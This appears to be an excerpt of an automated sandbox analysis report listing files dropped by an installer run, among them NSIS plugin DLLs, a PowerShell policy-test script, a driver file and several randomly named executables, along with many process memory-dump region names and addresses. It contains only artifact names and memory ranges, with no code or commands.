INSTALLER
__PSScriptPolicyTest_olc5eiqn.jys.ps1
idp.dll
utility-inst.tmp
7z.exe
System.dll
nsDialogs.dll
tbtnds.dat
rkjqngdetgcy.sys
sysnldcvmr.exe
u6V4s1Fv.exe
memory/436-2960-0x00000000009B0000-0x0000000001688000-memory.dmp
memory/436-1270-0x00000000009B0000-0x0000000001688000-memory.dmp
memory/436-1405-0x00000000009B0000-0x0000000001688000-memory.dmp
memory/1608-89-0x00007FFB38CF0000-0x00007FFB38D7D000-memory.dmp
memory/1608-90-0x0000000000090000-0x0000000000093000-memory.dmp
memory/1608-87-0x0000000000930000-0x0000000000984000-memory.dmp
memory/1916-3020-0x0000021F66310000-0x0000021F66838000-memory.dmp
memory/1916-3007-0x0000021F4AC60000-0x0000021F4AC78000-memory.dmp
memory/1916-3013-0x0000021F65260000-0x0000021F65422000-memory.dmp
memory/2276-3081-0x000000006FB90000-0x000000006FB9A000-memory.dmp
memory/2276-3006-0x000000006FB90000-0x000000006FB9A000-memory.dmp
memory/2844-43-0x0000000000400000-0x000000000071C000-memory.dmp
memory/2844-23-0x0000000000400000-0x000000000071C000-memory.dmp
memory/2892-1232-0x000001B867BB0000-0x000001B867BD2000-memory.dmp
memory/2948-1279-0x00000000007F0000-0x0000000000802000-memory.dmp
memory/2948-1571-0x0000000005480000-0x000000000548A000-memory.dmp
memory/2948-1280-0x0000000005870000-0x0000000005E14000-memory.dmp
memory/2948-1281-0x00000000054A0000-0x0000000005532000-memory.dmp
memory/3148-1359-0x0000000000400000-0x0000000000C77000-memory.dmp
memory/3148-1334-0x0000000000400000-0x0000000000C77000-memory.dmp
memory/3672-2910-0x0000000009200000-0x000000000926A000-memory.dmp
memory/3672-2908-0x00000000083D0000-0x0000000008446000-memory.dmp
memory/3672-2914-0x00000000097B0000-0x0000000009862000-memory.dmp
memory/3672-2955-0x0000000000E60000-0x000000000183C000-memory.dmp
memory/3672-2920-0x0000000009990000-0x00000000099B1000-memory.dmp
memory/3672-2911-0x0000000009270000-0x00000000095C4000-memory.dmp
memory/3672-2912-0x0000000009610000-0x000000000965C000-memory.dmp
memory/3672-2909-0x0000000009130000-0x000000000914E000-memory.dmp
memory/3672-2907-0x0000000008320000-0x000000000832A000-memory.dmp
memory/3672-2915-0x00000000098C0000-0x0000000009910000-memory.dmp
memory/3672-2919-0x00000000099D0000-0x0000000009A0C000-memory.dmp
memory/3672-2893-0x0000000000E60000-0x000000000183C000-memory.dmp
memory/3672-2892-0x0000000000E60000-0x000000000183C000-memory.dmp
memory/3672-2890-0x0000000000E60000-0x000000000183C000-memory.dmp
memory/3672-2940-0x000000000A8B0000-0x000000000A8C2000-memory.dmp
memory/3672-2947-0x0000000000E60000-0x000000000183C000-memory.dmp
memory/4348-1339-0x000000001DE00000-0x000000001E5A6000-memory.dmp
memory/4348-1305-0x00000000004A0000-0x00000000004AE000-memory.dmp
memory/4736-1396-0x0000000000170000-0x0000000000178000-memory.dmp
memory/4804-57-0x0000000005B80000-0x0000000005ED4000-memory.dmp
memory/4804-72-0x00000000070B0000-0x0000000007153000-memory.dmp
memory/4804-81-0x0000000007A30000-0x00000000080AA000-memory.dmp
memory/4804-82-0x00000000073E0000-0x00000000073FA000-memory.dmp
memory/4804-83-0x0000000007440000-0x000000000744A000-memory.dmp
memory/4804-84-0x0000000007670000-0x0000000007706000-memory.dmp
memory/4804-71-0x0000000006690000-0x00000000066AE000-memory.dmp
memory/4804-85-0x00000000075E0000-0x00000000075F1000-memory.dmp
memory/4804-86-0x0000000007620000-0x000000000762E000-memory.dmp
memory/4804-88-0x0000000007630000-0x0000000007644000-memory.dmp
memory/4804-91-0x0000000007710000-0x000000000772A000-memory.dmp
memory/4804-92-0x0000000007660000-0x0000000007668000-memory.dmp
memory/4804-61-0x000000006F8C0000-0x000000006F90C000-memory.dmp
memory/4804-60-0x0000000007070000-0x00000000070A2000-memory.dmp
memory/4804-59-0x0000000006100000-0x000000000614C000-memory.dmp
memory/4804-58-0x00000000060B0000-0x00000000060CE000-memory.dmp
memory/4804-42-0x0000000005830000-0x0000000005852000-memory.dmp
memory/4804-37-0x0000000004AE0000-0x0000000004B16000-memory.dmp
memory/4804-38-0x00000000051B0000-0x00000000057D8000-memory.dmp
memory/4804-45-0x0000000005940000-0x00000000059A6000-memory.dmp
memory/4804-44-0x00000000058D0000-0x0000000005936000-memory.dmp
memory/4872-1184-0x0000017CF29E0000-0x0000017CF2A60000-memory.dmp
memory/4872-151-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-104-0x0000017CD82D0000-0x0000017CD841A000-memory.dmp
memory/4872-105-0x0000017CF2AB0000-0x0000017CF2BB6000-memory.dmp
memory/4872-127-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-131-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-163-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-161-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-159-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-157-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-153-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-149-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-145-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-143-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-141-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-139-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-135-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-133-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-129-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-125-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-123-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-121-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-119-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-117-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-115-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-111-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-155-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-1254-0x0000017CF30B0000-0x0000017CF30DC000-memory.dmp
memory/4872-1250-0x0000017CF3000000-0x0000017CF3054000-memory.dmp
memory/4872-1185-0x0000017CF2CC0000-0x0000017CF2D0C000-memory.dmp
memory/4872-147-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-113-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-137-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-108-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4872-109-0x0000017CF2AB0000-0x0000017CF2BB1000-memory.dmp
memory/4984-19-0x0000000000401000-0x00000000004B7000-memory.dmp
memory/4984-52-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/4984-16-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/5016-4-0x000000007478E000-0x000000007478F000-memory.dmp
memory/5016-5-0x0000000074780000-0x0000000074F30000-memory.dmp
memory/5016-3-0x0000000074780000-0x0000000074F30000-memory.dmp
memory/5016-2-0x00000000054C0000-0x000000000555C000-memory.dmp
memory/5016-1-0x0000000000B10000-0x0000000000B18000-memory.dmp
memory/5016-0-0x000000007478E000-0x000000007478F000-memory.dmp
memory/5092-3084-0x0000000000400000-0x000000000082B000-memory.dmp
memory/5092-3030-0x0000000000400000-0x000000000082B000-memory.dmp
memory/5312-3063-0x0000000000990000-0x00000000009A2000-memory.dmp
memory/5692-3078-0x0000000000E70000-0x00000000014A2000-memory.dmp
memory/5692-3053-0x0000000000E70000-0x00000000014A2000-memory.dmp
memory/5692-3079-0x0000000000E70000-0x00000000014A2000-memory.dmp
memory/5768-3098-0x00007FF788C90000-0x00007FF78959C000-memory.dmp
memory/6352-2874-0x00000000050A0000-0x00000000050F8000-memory.dmp
memory/6352-1797-0x0000000004B40000-0x0000000004C1C000-memory.dmp
memory/6352-1796-0x0000000000170000-0x0000000000256000-memory.dmp
memory/6752-1785-0x000001A34EEC0000-0x000001A34EF70000-memory.dmp
memory/6752-1784-0x000001A34EE80000-0x000001A34EEB2000-memory.dmp
memory/6752-1783-0x000001A336700000-0x000001A336730000-memory.dmp
memory/6752-1780-0x000001A334890000-0x000001A334994000-memory.dmp
memory/6752-1781-0x000001A336620000-0x000001A33665C000-memory.dmp
memory/6752-1782-0x000001A334D30000-0x000001A334D40000-memory.dmp
memory/6828-1744-0x0000023C25DC0000-0x0000023C25DCA000-memory.dmp
memory/6828-1743-0x0000023C25DB0000-0x0000023C25DB6000-memory.dmp
memory/6828-1742-0x0000023C25D80000-0x0000023C25D88000-memory.dmp
memory/6828-1741-0x0000023C25DD0000-0x0000023C25DEA000-memory.dmp
memory/6828-1740-0x0000023C25D70000-0x0000023C25D7A000-memory.dmp
memory/6828-1739-0x0000023C25D90000-0x0000023C25DAC000-memory.dmp
memory/6828-1738-0x0000023C25B40000-0x0000023C25B4A000-memory.dmp
memory/6828-1736-0x0000023C25B50000-0x0000023C25B6C000-memory.dmp
memory/6828-1737-0x0000023C25B70000-0x0000023C25C25000-memory.dmp
memory/6960-1608-0x0000000000360000-0x0000000000378000-memory.dmp